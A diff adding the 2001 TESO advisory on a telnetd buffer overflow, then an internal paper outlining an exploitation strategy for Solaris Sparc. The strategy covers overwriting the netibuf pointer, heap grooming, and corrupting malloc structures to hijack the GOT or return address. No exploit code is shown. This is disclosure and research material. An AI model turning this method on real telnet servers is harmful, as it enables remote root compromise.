+    System                                  | vulnerable   | exploitable *
+    ----------------------------------------+--------------+------------------
+    BSDI 4.x default                        |      yes     |       yes
+    FreeBSD [2345].x default                |      yes     |       yes
+    IRIX 6.5                                |      yes     |        no
+    Linux netkit-telnetd < 0.14             |      yes     |        ?
+    Linux netkit-telnetd >= 0.14            |       no     |
+    NetBSD 1.x default                      |      yes     |       yes
+    OpenBSD 2.x                             |      yes     |        ?
+    OpenBSD current                         |       no     |
+    Solaris 2.x sparc                       |      yes     |        ?
+    <almost any other vendor's telnetd>     |      yes     |        ?
+    ----------------------------------------+--------------+------------------
+
+    * = From our analysis and conclusions, which may not be correct or we may
+        have overseen things. Do not rely on this.
+
+    Details about the systems can be found below.
+
+
+Impact
+===================
+
+    Through sending a specially formed option string to the remote telnet
+    daemon a remote attacker might be able to overwrite sensitive information
+    on the static memory pages. If done properly this may result in arbitrary
+    code getting executed on the remote machine under the priviledges the
+    telnet daemon runs on, usually root.
+
+
+Explanation
+===================
+
+    Within every BSD derived telnet daemon under UNIX the telnet options are
+    processed by the 'telrcv' function. This function parses the options
+    according to the telnet protocol and its internal state. During this
+    parsing the results which should be send back to the client are stored
+    within the 'netobuf' buffer. This is done without any bounds checking,
+    since it is assumed that the reply data is smaller than the buffer size
+    (which is BUFSIZ bytes, usually).
+
+    However, using a combination of options, especially the 'AYT' Are You There
+    option, it is possible to append data to the buffer, usually nine bytes
+    long. To trigger this response, two bytes in the input buffer are
+    necessary. Since this input buffer is BUFSIZ bytes long, you can exceed the
+    output buffer by as much as (BUFSIZ / 2) * 9) - BUFSIZ bytes. For the
+    common case that BUFSIZ is defined to be 1024, this results in a buffer
+    overflow by up to 3584 bytes.  On systems where BUFSIZ is defined to be
+    4096, this is an even greater value (14336).
+
+    Due to the limited set of characters an attacker is able to write outside
+    of the buffer it is difficult - if not impossible on some systems - to
+    exploit this buffer overflow. Another hurdle for a possible attacker may be
+    the lack of interesting information to modify after the buffer.
+
+    This buffer overflow should be considered serious nevertheless, since
+    experience has shown that even complicated vulnerabilities can be
+    exploited by skilled attackers, BIND TSIG and SSH deattack come to mind.
+
+    We have constructed a working exploit for any version of BSDI, NetBSD and
+    FreeBSD. Exploitation on Solaris sparc may be possible but if it is, it is
+    very difficult involving lots of arcane tricks. OpenBSD is not as easily
+    exploitable as the other BSD's, because they do compile with other
+    options by default, changing memory layout.
+
+
+Solution
+===================
+
+    The vendors have been notified of the problem at the same time as the
+    general public, vendor patches for your telnet daemon that fix the bug will
+    show up soon.
+
+    Sometimes a fix might not be trivial and require a lot of changes to the
+    source code, due to the insecure nature the 'nfrontp' pointer is handled.
+    The best long term solution is to disable the telnet daemon at all, since
+    there are good and free replacements.
+
+
+Acknowledgements
+===================
+
+    The bug has been discovered by scut.
+
+    The tests and further analysis were done by smiler, lorian, zip and scut.
+
+
+Contact Information
+===================
+
+    The TESO crew can be reached by mailing to teso@team-teso.net
+    Our web page is at http://www.team-teso.net/
+
+
+References
+===================
+
+    [1] TESO
+        http://www.team-teso.net/
+
+
+Disclaimer
+===================
+
+    This advisory does not claim to be complete or to be usable for any
+    purpose. Especially information on the vulnerable systems may be inaccurate
+    or wrong. Possibly supplied exploit code is not to be used for malicious
+    purposes, but for educational purposes only.
+
+    This advisory is free for open distribution in unmodified form.
+    Articles that are based on information from this advisory should include
+    link [1].
+
+
+Exploit
+===================
+
+    Not this time. Not here.
+
+- ------
+
+
+-----BEGIN PGP SIGNATURE-----
+Version: GnuPG v1.0.6 (GNU/Linux)
+Comment: For info see http://www.gnupg.org
+
+iD8DBQE7VfBscZZ+BjKdwjcRAsTcAJ9esSlkS7BGkYM1Yulaz3zINqxpmgCeM885
+3thubMQc+6S4RpHasL0qz0Y=
+=VT7y
+-----END PGP SIGNATURE-----
diff --git a/exploits/7350854/teso-howitmaybeworkonsparc.txt b/exploits/7350854/teso-howitmaybeworkonsparc.txt
new file mode 100644
index 0000000..653d1a4
--- /dev/null
+++ b/exploits/7350854/teso-howitmaybeworkonsparc.txt
@@ -0,0 +1,59 @@
+--------------------------------------------------------------------------
+TESO Internal Paper
+06/25/2001
+
+How to exploit Telnet Daemon on Solaris Sparc 
+--------------------------------------------------------------------------
+
+This Paper describes how i am going to try to exploit the telnet daemon
+on Solaris Sparc maschines. The basic idea in exploiting was to overflow
+the [netobuf] until we can overwrite the pointer [netibuf] which points
+into heapspace and is meant for the incoming data. The idea was to fill
+the heap before with environment variables so that 0x00FFFE08 points
+into valid heapspace. Further was the idea to continue reading data
+again from the socket and so overwriting the malloc structure in memory.
+A carefully modification will allow us to overwrite an abritary memory
+adress (GOT, PLT, RETADDR) with our returnadress so allowing us to
+execute our own shellcode...
+
+So far the theory, now the hard reality...
+
+All info following is valid for the Solaris Sparc 2.6 in.telnetd binary
+i had access to. 
+
+the memorylayout is like this:
+
+ 00000   netobuf[1024]
+      ...
++03063   ncc
+      ...
++03091   *netibuf
+
+and this memory layout is exactly what causes the problem. If we start
+sending a bunch of IAC AYT request, we will overwrite ncc with a very
+huge positive integer. This causes our telrcv function to loop again
+and again. The telrcv function will only stop its loop if ncc becomes
+negative or the ptyoutputbuffer is full. This will happen soon, but
+after flushing it, the telrcv loop will continue. The major problem is
+that [netibuf] is not big enough to hit the pointer, send an AO and
+then hit ncc again to make it negative, because this is the only way
+we are able to come to the next read...
+The solution seems easy, but because i have no solaris shell i could
+test it yet:
+We sent a lot of envvars before trying to overwrite the vars, didnt we?
+Because netibuf is malloc before the envvars, it is right infront of
+them in heapspace. So our telrcv will very soon hit into one of our
+envvars (the first one). We can store a IAC AO and lotsa 0xff 0xfb 0x80+ 
+there. (most probably we need more envvars). we need enough of them
+to hit ncc again. this time it will make it negative and so the loop 
+ends and our new [netibuf] (which points somewhere in the middle of the
+heap) The next read should give us enough power to read in any stuff to
+corrupt the malloced envvars and so overwrite either plt, got or retloc.
+the retaddr into our shellcode is easy to get, cause we know exactly the
+offset where our netibuf is read to. (dont forget that 0xff will cause
+problems... (so keep them out of shellcode)).
+
+This all must of course be tested and implemented... i am waiting for
+a solaris sparc root account to do it...
+
+lorian